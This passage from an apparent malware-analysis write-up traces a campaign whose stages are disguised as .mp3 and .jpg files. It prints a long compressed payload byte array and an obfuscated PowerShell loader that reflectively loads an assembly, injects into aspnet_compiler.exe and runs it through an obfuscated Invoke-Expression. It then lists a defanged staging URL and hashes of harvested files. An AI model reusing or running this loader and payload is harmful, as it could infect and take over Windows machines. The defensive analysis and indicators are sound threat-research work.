121,103,103,250,73,231,236,168,115,38,218,221,219,214,70,188,201,57,103,67,176,187,221,219,77,162,182,62,103,191,37,220,1,11,113,200,230,114,214,218,103,7,157,126,160,14,55,250,90,251,194,142,70,255,116,243,112,159,119,60,65,66,33,151,47,218,144,172,235,107,30,15,206,152,231,90,103,187,201,96,116,22,82,34,210,21,153,240,143,118,245,215,53,117,183,187,18,93,253,109,243,102,146,50,119,57,130,115,227,77,254,112,93,173,51,57,145,240,135,201,228,96,34,82,23,152,237,31,128,212,167,171,125,100,212,237,34,39,187,167,35,166,240,144,177,115,198,217,24,9,79,4,123,231,49,96,83,164,35,213,151,52,123,38,60,99,77,29,169,81,155,115,54,200,197,39,204,211,233,68,148,6,98,178,175,117,220,232,173,243,132,251,27,26,39,123,194,22,91,31,233,237,15,218,130,14,99,123,219,100,194,231,77,245,59,204,83,4,146,212,129,128,177,165,207,100,52,187,26,167,231,58,194,112,102,138,78,69,219,187,59,253,161,238,166,176,169,190,174,214,219,68,102,27,76,157,115,198,152,113,116,222,211,50,237,240,120,6,162,36,209,211,220,52,58,101,54,5,198,187,58,234,204,201,164,165,150,76,217,199,134,251,58,163,157,169,214,72,171,215,212,58,228,238,38,73,95,204,102,25,115,118,206,77,14,155,83,97,99,107,123,31,137,197,247,219,167,224,220,11,73,35,233,28,76,69,186,235,77,35,173,77,115,93,78,151,35,213,23,34,115,29,166,129,225,17,119,204,51,100,25,136,79,219,235,236,99,100,194,218,224,152,48,199,97,40,106,167,67,35,117,147,193,97,18,109,152,118,59,71,188,195,182,198,225,201,249,72,42,48,220,68,92,100,108,52,232,154,107,239,244,247,79,242,33,4,235,12,31,66,174,88,206,2,4,139,109,50,153,26,15,37,241,80,19,135,163,10,204,207,49,186,83,68,97,1,152,1,193,20,204,72,174,140,39,135,222,49,186,162,58,93,157,96,100,221,140,41,76,32,153,113,53,123,77,13,115,126,146,178,132,93,99,246,186,186,198,65,226,12,166,92,131,29,190,249,209,46,210,60,17,113,181,57,26,234,134,27,201,120,44,234,74,166,66,230,241,48,153,157,240,184,236,86,75,95,184,133,238,101,220,30,235,15,246,184,234,18,198,137,126,56,28,242,251,79,56,78,151,156,112,156,14,101,56,158,62,188,249,103,233,65,102,140,123,106,64,23,43,202,49,22,238,227,143,124,225,184,53,235,176,151,68,110,80,54,141,251,95,239,152,53,251,164,55,22,238,9,204,46,139,141,133,123,195,254,52,234,159,133,19,18,156,196,252,252,172,247,58,178,79,115,80,189,124,196,138,167,18,100,6,23,182,253,251,73,143,173,223,213,94,111,139,141,155,136,59,49,132,9,222,201,77,214,174,206,217,21,71,164,90,83,195,170,99,83,109,173,105,77,154,121,21,109,108,13,190,177,213,124,245,230,213,124,77,117,171,104,245,190,181,104,245,64,235,155,136,135,187,234,235,39,77,100,46,216,95,235,168,235,237,232,35,241,41,72,200,92,181,129,6,50,217,208,231,31,105,106,238,234,38,147,246,225,230,248,148,167,167,147,68,231,6,2,173,141,189,117,117,36,232,154,158,159,115,78,192,48,71,147,45,67,253,198,30,115,47,113,141,181,140,181,154,253,173,45,196,49,212,18,26,53,155,157,211,164,125,52,53,231,155,245,207,15,16,223,164,45,218,59,63,209,219,76,28,211,161,73,235,96,163,41,70,156,125,225,137,201,102,199,68,3,233,51,58,218,236,161,228,196,52,73,78,79,181,78,207,205,250,220,36,24,234,156,13,181,197,166,67,196,49,102,180,37,108,13,193,25,210,222,19,233,235,28,11,186,61,116,235,230,146,135,144,47,17,75,198,198,82,53,67,161,36,204,59,8,15,204,88,218,173,157,198,164,201,225,128,108,165,115,170,111,106,112,54,68,82,198,70,71,219,68,95,127,146,116,118,133,226,238,72,99,100,148,244,205,212,6,91,122,59,218,198,201,80,135,187,35,224,152,135,115,84,180,193,106,106,24,176,215,78,166,15,218,233,205,215,22,242,4,163,49,8,117,88,96,219,166,234,236,109,169,177,198,62,50,235,110,177,12,56,166,235,251,136,125,122,222,215,26,12,15,207,240,143,255,6,226,176,10,244,198,185,67,87,127,255,192,168,195,25,177,207,146,225,222,126,207,96,172,103,210,70,166,77,3,39,219,18,205,115,237,196,209,103,105,111,31,174,53,6,198,200,84,131,171,61,92,215,234,106,24,36,131,77,93,237,254,232,64,172,173,157,204,143,180,182,55,15,38,199,163,252,70,13,91,20,166,108,193,192,92,118,150,1,25,106,112,26,50,45,251,92,28,231,7,109,120,96,218,155,228,150,5,88,37,240,161,23,61,247,12,180,128,111,184,185,143,153,111,50,192,231,105,99,30,124,248,66,211,11,15,255,248,13,60,109,229,82,4,87,140,155,209,200,74,39,42,37,192,97,197,202,61,116,161,41,57,119,158,225,30,155,129,13,214,121,152,68,157,33,200,182,168,59,210,105,102,38,213,75,103,197,252,202,144,126,35,147,79,247,2,203,143,92,8,62,26,164,7,143,21,249,193,50,7,154,10,29,165,137,89,148,51,30,252,4,121,41,161,121,242,138,183,53,131,53,9,62,19,135,209,73,116,250,205,190,176,35,213,61,56,211,54,17,155,74,14,215,76,197,252,243,41,99,164,181,59,48,220,53,48,54,96,172,141,19,143,179,54,234,29,179,248,251,227,230,177,64,87,100,178,214,84,19,30,24,11,54,199,61,169,73,255,92,114,200,215,230,75,76,166,98,173,254,44,205,248,22,117,222,9,228,36,98,196,223,135,36,196,131,119,35,201,134,166,12,76,211,76,89,244,220,250,108,126,227,42,62,188,200,151,231,141,43,136,198,53,149,45,211,86,170,88,223,36,99,142,150,213,252,92,233,212,117,91,88,187,197,220,78,175,228,199,251,169,235,72,24,51,229,181,109,90,109,243,74,153,181,60,180,218,185,217,250,214,210,191,118,251,217,131,124,234,10,13,203,125,206,182,104,237,30,172,237,147,181,2,195,184,138,243,255,180,199,142,236,193,213,241,114,100,59,115,123,184,86,255,150,41,255,246,232,255,95,61,176,114,69,250,119,76,253,235,60,186,236,129,92,141,43,45,88,221,131,236,30,174,207,149,173,47,183,135,43,249,115,235,87,143,213,218,177,176,210,35,43,229,140,171,122,120,36,159,174,213,163,181,199,196,184,170,126,181,166,181,199,252,179,122,52,215,190,149,94,252,108,49,185,126,127,215,158,5,255,223,244,208,103,155,101,217,154,78,37,71,178,115,101,223,143,52,6,71,234,225,106,223,174,182,124,117,143,77,235,234,59,210,44,200,238,201,145,60,178,114,68,87,70,197,90,49,183,90,38,237,193,213,243,254,255,121,179,228,31,89,121,179,53,159,74,136,16,174,197,111,12,144,121,146,36,41,18,32,17,82,67,90,72,140,36,160,188,131,24,200,16,220,19,80,23,2,90,148,28,79,106,161,190,30,46,35,189,144,163,133,76,147,48,200,78,83,153,227,129,43,0,229,20,96,30,160,35,71,31,224,94,40,135,136,143,116,66,237,60,113,129,182,73,40,161,70,47,105,132,127,30,208,234,131,171,1,204,106,130,86,234,160,214,72,44,80,38,147,185,214,13,192,221,71,91,131,3,50,212,160,189,9,184,199,1,139,145,32,109,55,78,198,105,77,51,240,38,115,234,7,104,127,102,168,45,1,176,44,1,52,196,252,148,78,58,251,1,118,2,102,134,250,48,113,128,76,55,25,4,142,54,50,1,156,83,160,109,24,244,78,65,217,15,58,83,96,99,132,180,2,79,0,232,93,160,125,12,46,35,216,31,39,164,246,148,204,64,155,200,78,208,152,254,183,51,51,12,77,180,156,254,119,218,63,44,99,254,20,153,250,204,96,239,204,10,42,144,57,182,13,44,78,17,27,192,48,92,65,240,25,250,183,149,142,124,43,120,55,10,253,79,241,163,222,7,48,4,247,20,231,35,118,12,48,148,218,69,142,161,255,8,219,5,28,62,170,131,147,32,121,173,84,194,143,159,4,215,56,233,40,196,232,152,161,215,155,65,98,8,234,19,52,106,48,74,128,43,175,25,238,97,170,135,228,15,243,163,27,192,26,150,27,37,31,213,146,68,74,126,55,141,133,24,29,87,82,192,213,167,104,92,164,64,83,47,120,31,99,203,144,169,75,203,146,252,22,218,70,146,211,156,223,14,173,163,149,216,27,82,48,73,251,23,165,62,193,218,90,240,97,13,173,13,127,166,145,201,246,242,103,29,205,108,153,79,27,77,243,63,209,206,90,50,159,214,78,237,63,209,206,90,50,159,214,78,221,63,209,206,90,50,255,204,44,248,180,118,214,146,161,237,192,235,238,163,239,58,241,254,235,255,214,123,209,203,15,156,241,226,161,165,38,252,241,68,238,155,1,178,59,78,62,113,168,172,238,165,115,69,6,134,145,85,225,239,189,184,4,37,195,9,79,188,39,22,205,124,120,202,53,158,136,205,38,25,161,129,48,66,73,165,74,32,81,9,37,106,37,92,133,112,21,193,165,133,75,7,151,1,174,77,112,85,195,181,3,46,35,92,50,49,97,152,74,149,136,48,42,149,84,42,86,201,100,2,149,92,42,81,85,138,177,196,28,5,213,218,66,149,132,8,180,112,147,22,50,130,42,162,82,137,164,76,21,129,18,144,25,224,172,150,234,101,50,214,194,214,169,64,188,82,134,47,129,76,38,161,5,212,35,19,84,234,224,159,88,38,144,104,37,6,129,14,16,252,99,182,98,169,64,6,45,43,24,181,1,65,53,130,34,4,133,8,148,8,140,8,118,32,208,34,208,33,216,4,178,2,17,33,106,153,132,8,117,240,130,155,64,167,213,65,23,116,58,177,65,192,232,180,224,46,153,86,102,16,170,187,181,234,126,160,49,50,117,55,52,44,208,86,202,20,6,17,80,43,101,28,93,160,238,150,25,196,192,11,47,165,65,10,53,88,130,58,133,65,44,208,162,241,133,50,21,71,167,101,168,145,130,30,40,116,115,28,133,178,101,14,90,6,14,185,65,8,28,200,3,214,128,110,57,109,18,107,88,131,66,160,82,105,181,2,185,86,85,200,90,10,217,186,98,131,82,221,157,75,2,190,60,212,192,33,221,2,137,28,70,85,44,168,130,145,99,247,194,136,141,192,213,14,157,101,100,249,82,137,122,159,76,237,169,84,7,100,234,0,186,164,29,3,69,71,123,174,227,122,200,168,187,129,63,4,42,228,2,137,0,138,17,169,164,88,61,5,227,35,144,64,76,84,194,77,6,212,105,129,68,1,55,63,92,167,193,149,130,107,14,174,83,69,18,245,226,34,130,51,17,156,35,37,140,122,31,187,120,80,100,32,234,144,28,70,95,189,120,46,187,120,62,90,35,144,16,166,82,92,41,46,151,22,87,202,43,197,114,121,158,28,92,41,95,126,85,138,197,200,33,87,18,49,138,201,240,146,229,67,176,23,210,106,169,188,82,46,38,2,40,136,161,35,139,95,23,75,129,235,235,82,34,80,47,94,173,82,73,12,84,185,146,136,128,250,61,245,226,45,160,78,40,101,100,82,131,144,134,152,130,171,160,69,24,80,188,195,37,39,34,185,92,166,80,47,222,38,145,138,208,22,49,216,189,120,11,58,73,1,211,69,142,127,99,27,122,211,45,173,85,239,227,156,2,172,156,44,48,131,245,248,95,46,83,199,49,144,169,147,193,109,232,239,197,187,0,7,215,47,222,163,94,124,64,166,203,238,166,28,157,161,227,125,12,102,67,123,104,61,222,161,73,133,24,59,34,195,129,169,20,67,40,49,26,162,97,100,64,83,7,216,197,39,129,1,69,52,64,69,15,143,128,185,208,12,68,131,218,129,237,193,127,224,16,96,213,62,57,58,230,25,245,62,181,135,134,188,78,130,172,139,119,41,13,98,70,69,57,213,251,4,180,183,15,136,36,236,226,11,104,1,220,176,69,184,201,100,220,93,237,145,162,129,160,6,140,6,203,165,96,20,180,160,162,3,165,162,227,240,42,120,152,46,6,48,235,100,50,218,168,86,189,79,42,21,160,61,16,105,224,14,21,218,37,101,112,2,10,84,180,205,119,192,38,21,29,52,245,226,95,113,109,209,130,50,88,65,96,29,17,2,148,3,183,22,8,192,34,37,34,173,22,156,166,32,48,11,181,224,246,66,45,240,64,133,74,70,68,56,47,11,113,150,107,97,20,64,139,76,11,70,104,243,164,48,29,212,139,127,147,41,32,124,12,34,70,197,46,126,204,30,100,216,131,98,106,240,45,82,52,158,142,50,169,20,231,75,69,80,132,64,82,31,204,135,0,4,227,14,178,74,131,16,71,3,74,236,193,98,232,30,14,136,76,42,197,110,66,9,162,83,7,35,42,3,63,232,192,70,70,167,192,150,161,8,145,175,147,34,1,221,73,96,197,81,239,131,122,88,127,0,66,223,248,170,243,97,228,79,132,241,3,75,117,26,169,20,85,226,63,245,226,163,156,17,116,252,209,193,208,26,3,177,42,145,107,193,1,218,66,185,202,0,11,6,95,230,150,25,57,20,186,193,12,45,148,213,221,220,116,214,170,187,113,34,222,38,49,80,71,66,172,131,144,138,19,224,60,153,103,144,0,9,10,220,42,150,246,42,183,70,113,101,78,189,12,10,176,250,241,94,86,82,49,89,102,141,163,235,23,182,2,174,167,173,192,29,106,48,152,46,67,112,37,130,171,16,92,135,224,6,4,55,33,184,25,237,187,21,87,96,244,150,76,135,8,80,238,132,144,16,130,91,137,16,32,160,72,187,27,195,68,167,3,26,64,64,145,118,63,180,137,195,15,83,23,111,64,64,234,67,72,5,105,164,234,112,150,62,132,212,159,131,60,238,88,68,8,16,80,164,61,65,3,240,85,25,12,215,226,171,128,34,237,144,4,219,129,174,99,67,56,22,135,144,250,52,198,62,46,102,10,136,106,188,3,9,233,207,99,80,211,40,207,35,66,174,0,68,172,121,145,238,36,251,96,22,200,144,246,34,210,94,2,154,170,16,103,6,64,64,145,246,10,244,94,14,161,45,144,171,16,1,202,235,114,67,122,173,84,18,33,95,2,50,214,189,41,193,73,164,131,30,11,241,6,4,164,190,45,187,121,207,254,211,217,103,20,187,96,199,210,233,84,236,193,178,74,93,62,17,167,139,192,129,108,239,162,163,101,232,104,25,34,64,249,0,22,53,40,127,128,229,143,64,181,132,174,131,184,133,0,245,35,160,30,36,184,72,100,86,224,2,34,89,70,160,18,57,68,208,29,228,63,40,66,76,134,109,200,177,13,57,34,64,81,226,204,62,88,41,195,69,8,110,64,64,106,33,157,2,112,71,164,8,132,112,122,195,36,71,4,40,90,133,65,88,9,254,7,251,55,228,19,81,186,8,21,88,171,67,47,236,211,161,169,120,3,2,82,13,18,186,52,234,160,33,188,1,1,169,155,144,215,193,241,58,144,119,19,82,171,229,134,244,146,168,164,3,135,37,32,99,221,14,136,31,88,36,65,143,8,111,64,64,170,17,198,78,29,210,225,170,22,2,154,17,105,117,72,27,161,180,17,160,213,65,55,132,50,92,171,104,110,1,193,6,101,136,54,28,117,186,161,201,184,181,83,133,98,30,21,108,67,233,1,194,85,3,214,46,234,127,186,158,202,144,130,91,14,245,156,65,80,169,162,253,71,193,125,50,186,210,7,176,236,144,137,240,59,144,139,183,50,164,111,241,123,171,191,56,86,179,250,235,101,219,87,127,113,108,251,90,95,23,59,225,4,254,157,82,238,195,142,59,12,233,239,72,238,48,12,5,18,248,102,233,241,248,39,32,224,223,14,67,203,116,56,53,157,8,28,31,13,76,167,18,158,240,14,67,223,180,55,28,242,117,6,230,233,135,234,142,247,54,54,122,234,125,245,13,166,166,218,186,128,209,210,180,111,223,9,251,8,102,174,220,111,7,211,253,230,96,211,226,151,56,2,67,6,6,147,71,254,4,87,13,255,78,229,191,212,42,41,175,148,126,169,246,86,184,126,241,216,91,247,162,123,47,130,43,156,249,80,35,255,86,101,166,196,125,132,114,45,75,234,254,89,75,54,174,110,140,243,67,230,195,144,188,149,252,171,175,217,134,255,209,102,45,24,108,83,239,44,40,221,112,98,221,78,219,183,171,143,189,187,79,29,180,20,189,99,109,248,94,177,167,81,212,245,246,123,145,155,254,90,122,254,240,220,207,219,158,63,38,250,154,246,204,142,238,193,15,111,154,154,124,236,170,227,39,94,60,67,210,249,204,101,223,158,188,230,145,139,143,235,174,57,110,79,100,251,99,177,191,234,246,159,242,226,57,33,245,175,254,235,204,239,13,236,122,172,102,252,175,207,137,31,120,70,123,154,241,232,151,182,234,254,115,115,234,210,150,103,254,220,112,183,247,10,193,7,175,92,191,247,210,165,75,147,109,251,236,127,141,86,190,247,155,188,139,63,112,94,48,120,241,249,191,190,58,241,156,255,84,221,127,133,95,125,235,209,131,143,6,107,95,88,250,222,251,227,111,254,82,125,175,226,129,177,218,43,21,183,25,251,22,126,182,125,107,241,46,131,114,118,234,193,190,247,70,154,234,255,124,70,227,105,167,29,120,239,169,179,244,207,125,148,252,93,176,182,188,127,239,233,205,130,196,207,238,60,230,162,47,92,172,188,242,71,175,111,145,77,223,57,119,65,254,13,169,138,199,157,215,218,203,229,215,44,61,124,106,227,197,239,61,121,239,85,91,95,255,139,240,156,202,221,87,238,62,246,152,115,84,123,247,245,84,14,159,118,236,84,229,117,127,125,235,213,71,159,251,202,217,247,22,127,254,49,253,167,163,235,179,142,41,254,177,18,252,17,237,177,244,199,40,18,158,217,80,52,88,227,240,197,162,59,12,185,196,127,198,44,99,237,88,253,88,227,152,201,228,175,55,122,106,61,19,153,79,188,251,3,182,88,164,134,251,112,236,242,55,55,210,77,254,11,60,16,225,155,106,11,199,188,248,97,113,250,129,165,26,94,11,126,42,242,95,234,239,149,254,195,79,96,252,31,240,159,228,137,115,191,248,59,223,133,95,179,78,92,113,121,203,109,55,220,222,191,125,215,157,230,91,95,120,173,242,154,1,81,69,255,15,85,95,173,188,188,244,245,211,206,170,189,219,154,162,191,168,140,223,117,199,191,97,131,191,88,125,54,92,215,19,238,111,141,224,95,5,54,64,96,54,195,53,6,215,241,16,3,134,77,36,69,198,129,53,73,31,61,70,233,195,69,124,124,217,70,31,81,113,63,136,189,37,155,201,69,159,64,206,147,46,128,9,18,36,1,226,32,62,250,84,12,67,171,40,155,53,93,129,177,166,205,174,224,158,167,225,243,40,63,249,169,28,50,211,236,74,27,109,96,54,99,193,207,128,97,71,156,62,231,10,210,103,176,248,164,203,74,91,55,1,123,55,125,86,25,34,248,212,142,123,150,251,8,8,28,181,186,57,15,125,68,123,50,220,189,244,129,152,95,177,162,225,46,250,180,44,72,159,217,97,191,198,86,50,164,45,26,160,122,2,228,217,194,21,14,76,251,166,29,42,67,160,99,28,234,78,102,193,129,235,155,159,237,138,211,129,85,192,8,200,94,250,35,10,159,192,139,225,87,95,37,250,182,255,95,30,89,244,167,47,52,107,172,2,216,156,12,11,54,79,202,67,11,24,219,82,145,96,37,51,146,5,252,47,64,200,233,31,177,255,8,204,94,143,75,60,27,242,167,198,37,227,129,80,112,60,133,231,183,236,29,166,0,197,239,149,113,127,151,9,127,100,195,192,209,111,144,113,127,210,24,127,132,3,73,123,233,254,205,61,144,90,20,145,53,95,103,158,113,38,121,248,167,15,163,15,201,61,107,179,252,251,245,239,215,191,95,255,126,173,122,49,71,126,17,70,112,164,23,214,51,194,117,95,255,174,255,119,253,167,215,175,255,18,124,150,248,19,173,126,45,71,247,218,245,2,1,225,254,255,147,245,153,215,103,176,239,83,230,215,231,125,97,222,244,185,149,252,147,237,226,43,15,252,196,52,175,157,194,57,254,101,39,29,154,186,233,63,229,100,133,60,210,244,119,37,184,100,235,0,28,255,4,144,127,174,52,143,62,228,49,124,218,241,9,255,156,165,220,199,227,54,101,100,127,136,126,117,191,55,26,158,207,195,111,182,120,56,54,25,254,80,0,22,164,209,233,8,222,149,126,79,42,224,130,147,40,173,245,121,194,129,168,223,147,144,68,246,227,111,52,40,34,251,241,203,145,248,149,72,54,178,127,58,25,24,76,6,18,189,51,129,68,34,228,15,16,66,231,5,131,207,114,214,49,111,185,221,202,53,25,92,188,49,155,215,172,229,190,170,210,74,191,230,143,92,71,175,201,101,227,237,95,230,91,187,173,22,190,107,50,6,255,122,40,35,207,228,197,114,156,130,10,133,4,255,128,40,161,127,27,70,36,88,223,227,203,93,162,178,144,68,215,154,187,90,28,54,41,239,123,222,115,4,159,233,97,67,120,201,81,181,8,249,143,236,6,252,27,241,5,145,253,225,80,50,53,16,128,102,240,43,156,57,35,201,250,166,147,169,88,132,31,118,252,158,65,30,52,103,91,119,136,242,35,251,57,3,61,209,160,195,198,253,17,16,70,198,200,36,216,18,179,131,81,208,238,162,137,116,29,250,108,195,176,1,56,11,163,148,216,150,136,77,199,241,8,145,84,115,191,217,224,155,95,38,177,241,64,194,23,136,166,150,41,202,56,253,90,49,126,145,42,24,85,70,241,59,140,60,82,194,233,179,5,124,161,136,39,156,233,124,81,118,51,105,98,73,110,83,105,178,54,77,94,169,68,149,174,24,152,143,120,99,97,181,39,154,12,181,228,144,228,81,79,148,43,149,164,45,132,142,134,162,161,20,207,80,146,182,53,151,92,202,247,112,101,139,197,57,61,79,83,243,121,42,39,171,2,172,59,20,14,7,56,84,201,125,195,204,22,10,134,82,201,172,105,167,201,113,12,87,93,188,162,167,28,181,52,77,237,227,187,208,231,73,165,2,137,104,134,222,195,247,129,167,23,115,154,87,80,75,120,35,87,40,73,147,87,112,23,229,58,128,51,132,245,227,141,126,149,38,148,154,198,16,82,100,69,240,170,24,45,134,85,48,228,135,240,162,95,173,105,78,114,225,86,186,130,154,30,48,169,84,186,98,87,146,228,174,245,178,236,23,214,203,241,39,35,229,120,40,165,37,9,46,148,204,118,9,253,179,192,59,37,248,151,224,152,26,73,62,157,15,18,21,119,43,224,136,248,27,146,130,7,175,83,72,240,143,214,11,123,60,61,18,252,21,73,89,58,6,36,248,215,224,228,59,211,168,28,85,201,81,145,4,207,196,204,102,9,254,69,56,225,239,23,111,150,107,121,219,210,199,241,244,43,123,71,21,240,56,238,194,5,82,30,193,183,82,73,129,44,27,99,81,25,246,65,82,134,100,163,164,28,111,38,9,254,34,36,99,150,224,95,154,99,106,37,149,120,171,147,224,175,98,50,245,18,61,222,26,36,6,188,53,74,112,254,50,22,9,254,49,62,166,41,175,229,255,214,39,26,71,124,252,32,227,175,60,89,31,117,16,255,149,42,254,139,84,115,215,77,60,55,116,199,35,175,255,38,110,216,244,151,95,220,243,192,15,10,78,253,235,182,135,191,216,166,105,53,222,192,252,71,235,199,207,95,182,24,250,193,251,182,47,223,114,194,39,159,220,251,220,137,231,30,197,94,56,121,201,212,101,31,95,208,50,255,237,13,178,91,29,222,205,85,239,237,253,209,222,251,251,71,79,218,114,227,35,183,191,177,175,240,152,103,7,138,108,130,131,175,93,253,252,207,255,254,171,63,188,246,228,239,54,60,43,109,252,233,23,243,159,121,247,207,69,163,118,241,27,47,127,231,131,107,223,250,232,5,65,44,248,165,174,109,231,91,155,62,252,228,224,123,83,95,60,202,243,141,136,210,242,234,199,182,63,222,123,221,119,254,235,183,157,7,58,127,242,94,252,238,251,238,125,120,225,138,234,15,143,190,250,143,103,25,223,122,90,92,121,142,168,233,208,211,47,188,250,245,223,188,246,193,169,215,232,3,67,55,61,100,59,106,235,187,95,251,100,91,203,245,27,191,250,221,166,171,46,249,232,167,35,39,4,46,126,66,249,149,211,222,125,235,147,167,246,157,121,86,239,194,13,177,151,94,219,177,84,212,194,92,123,53,43,235,57,99,97,224,253,250,255,217,117,207,79,126,249,220,182,139,126,117,246,159,218,239,76,135,142,163,105,175,44,165,92,198,63,121,41,187,60,248,229,55,191,108,47,60,56,39,58,173,242,143,202,148,244,206,219,111,233,144,252,73,124,231,237,23,239,85,238,251,228,165,83,196,29,202,119,175,60,124,249,252,225,59,182,206,55,203,183,183,244,151,110,239,216,179,183,116,255,93,191,127,119,231,131,191,218,62,189,4,228,58,249,246,195,151,43,27,108,239,216,172,206,177,241,168,161,91,123,212,204,109,181,172,186,86,25,81,32,242,205,171,183,122,116,51,183,137,203,24,119,58,157,77,7,147,96,5,46,252,148,122,163,193,168,148,200,182,157,221,126,246,251,249,248,11,165,162,194,203,142,249,146,245,34,91,227,212,127,253,253,254,219,190,245,155,219,222,56,225,193,161,166,119,216,119,70,174,59,99,207,197,207,156,164,251,238,101,55,74,159,103,78,248,130,250,222,179,76,155,126,122,154,114,48,181,239,222,196,210,45,191,93,188,94,242,226,21,169,119,174,120,224,129,208,21,175,156,221,118,239,91,15,127,227,129,130,39,174,86,110,138,237,120,99,231,141,103,166,58,94,252,206,205,39,254,250,156,191,205,56,251,119,95,22,121,216,116,195,207,143,22,222,252,200,233,35,247,253,111,222,75,15,183,93,116,253,51,253,190,199,36,193,173,91,139,206,82,220,113,180,101,67,69,205,71,145,29,221,154,124,203,128,43,169,8,252,68,49,49,83,243,232,131,7,207,218,145,184,248,234,215,239,187,166,115,172,252,134,248,151,59,31,188,182,63,252,72,217,235,23,63,181,73,242,245,103,207,170,87,189,27,191,106,162,176,228,129,235,202,100,225,198,170,174,217,246,163,111,187,251,230,186,31,253,95,227,145,177,244,90,117,195,207,255,212,156,232,207,249,122,25,239,154,250,75,242,147,151,86,136,84,156,104,225,96,58,222,243,235,255,190,9,175,115,2,150,124,95,252,115,223,167,138,194,99,176,152,236,56,139,40,44,230,129,216,10,12,88,193,4,184,186,120,231,252,34,215,138,84,240,137,95,224,177,245,212,84,61,208,209,106,224,116,161,202,160,224,128,221,0,170,0,200,9,188,18,160,107,246,208,196,65,49,109,128,69,28,4,64,215,214,69,60,96,96,176,65,42,37,109,152,76,24,64,231,233,6,51,196,3,73,87,134,32,32,11,116,246,178,31,144,239,9,36,221,24,192,215,118,48,236,101,121,255,15,181,72,133,0,123,40,205,194,128,41,235,2,22,11,3,15,249,186,65,215,150,122,50,228,49,164,49,64,238,141,84,1,235,130,140,29,231,49,20,3,229,145,86,154,130,193,6,150,57,224,147,117,131,193,235,142,51,193,163,212,152,38,85,128,213,32,214,193,154,48,36,129,194,128,65,135,1,212,109,131,169,119,1,15,65,39,131,205,41,64,177,71,1,28,102,28,72,106,81,87,71,51,128,229,245,144,48,3,208,14,78,160,122,79,248,234,217,60,240,48,187,31,144,204,5,173,57,5,139,130,214,54,235,1,233,10,176,8,104,32,23,228,30,31,232,186,220,28,240,122,236,2,134,74,176,139,32,99,230,16,183,216,128,205,246,135,138,103,66,205,134,185,45,15,175,29,38,96,127,64,86,199,166,48,148,130,87,206,162,251,6,221,47,22,96,61,142,224,1,122,208,250,91,208,52,65,37,198,26,113,76,125,163,128,142,224,0,232,54,16,96,142,176,29,104,135,140,130,129,0,0,25,163,188,83,0,182,0,0)
    
    
    
    [byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-DecompressedByteArray $nona
    [byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI
    
    
    $FGCHJBKHVGCFHJVBKNBHVGJB = D4FD5C5B9266824C4EEFRWEOIURWDQWOIDUQW389C83E0C69FD3FAAG -TypeName 'System.Collections.ArrayList';
    $FGCHJBKHVGCFHJVBKNBHVGJB.Add("W1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRSRFNGR1RGSFlHVUpIS0dZRlREUlNSRFRGWUdKVUhLRERSVEZZRykuR2V0VHlwZSgncHJvakZVRC5QQScpLkdldE1ldGhvZCgnRXhlY3V0ZScpLkludm9rZSgkbnVsbCxbb2JqZWN0W11dICggJ0M6XFdpbmRvd3NcTWljcm9zb2Z0Lk5FVFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxhc3BuZXRfY29tcGlsZXIuZXhlJywkUlNFVERZVUdVSURSU1RSRFlVR0lIT1lSVFNFVFJUWURVR0lPSCkp")
    
    $FGCHJBKHVGCFHJVBKNBHVGJBA = COMBINEMEANINGSCOBOLTPOTASSIUM($FGCHJBKHVGCFHJVBKNBHVGJB)
    start-sleep -s 4
     $RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($FGCHJBKHVGCFHJVBKNBHVGJBA);try{$n=0;while($n -lt 5){&(GCM I*e-E*)($Run=($RDTTFYGJHKUYGTFRYTFYGUHIJGYYGU -Join ''));$n++}}catch{}

In the process of tracing through these, we notice another path and another open directory!

hxxps://unimed-corporated.com/new

Manually walking through the files we find some references to the top level directory, for which we don’t have the benefit of a directory listing. Here’s a sample of the growing collection of harvested files we’ve seen at this pint... there’s a TON of stages to this campaign!

d42e08f45eb28da0918154b554c61fe6 ./corporate.mp3                : ASCII text, with CRLF line terminators
512b2b52114d6cf4d806f4333680f4c9 ./CDT2022.jpg                  : ASCII text, with very long lines (64990)
2a0ab1d36353c0ece36cd90e98e583d1 ./matador.jpg                  : ASCII text, with CRLF line terminators
cd31398ccdc47c1b7bde5c1250ddd795 ./microsoft.txt                : HTML document text, ASCII text, with very long lines (3608), with CRLF line terminator
7b78103ed60d3f39e8c23ca4b9239311 ./brasil/CPAInjectTarefa.mp3   : HTML document text, ASCII text, with CRLF line terminators
bae4165ec55da5dd7c0a8968ec00a54f ./brasil/htabrasil.mp3         : HTML document text, ASCII text, with very long lines (582), with CRLF line terminators
e29b0da77bf4767e521ee41a2c4dd033 ./brasil/CPA.jpg               : ASCII text, with very long lines (62969), with CRLF line terminators
512b2b52114d6cf4d806f4333680f4c9 ./brasil/ps1brasillimpo.jpg    : ASCII text, with very long lines (63685), with CRLF line terminators
79f6750381e0ae7e1e9b7faa9b10c78e ./brasil/microsoft.txt         : HTML document text, ASCII text, with very long lines (3608), with CRLF line terminators
d7191b1221f4878f57d68d43a9a8e764 ./brasil/htabrasilcompleto.mp3 : HTML document text, ASCII text, with very long lines (585), with CRLF line terminators
0b4f9e70686f48e08a53e15a39bfa8e3 ./brasil/tarefa.mp3            : HTML document text, ASCII text, with CRLF line terminators
6ce166c947258dfe97ffe366fb5f1b5a ./brasil/ps1brasilcompleto.jpg : ASCII text, with very long lines (62969), with CRLF line terminators
12a3686afc08249f585f9c3039d49f96 ./brasil/CPAhtml.mp3           : HTML document text, ASCII text, with very long lines (571), with CRLF line terminators
8efb6c7fd13d9353945fd4cb4f424469 ./brasil/tarefaCPA.mp3         : HTML document text, ASCII text, with CRLF line terminators
75a45a489f512799367c86a97a263293 ./new/cpaofuscatehta.mp3       : HTML document text, ASCII text, with very long lines (3614), with CRLF line terminators
bc7914d8ed41e2dee8083150f866b839 ./new/matador.jpg              : ASCII text, with very long lines (301), with CRLF line terminators
cab94e1ca9715b521b0e0c2d5367dc4d ./new/contabilidade.jpg        : ASCII text, with very long lines (64990)
1038b3a5ec83e76029d6ac7af3e3106a ./new/contabilgeral.mp3        : HTML document text, ASCII text, with very long lines (917), with CRLF line terminators
c3c6a8477c4facdf10afd762218aed89 ./new/async.jpg                : ASCII text, with very long lines (64882)
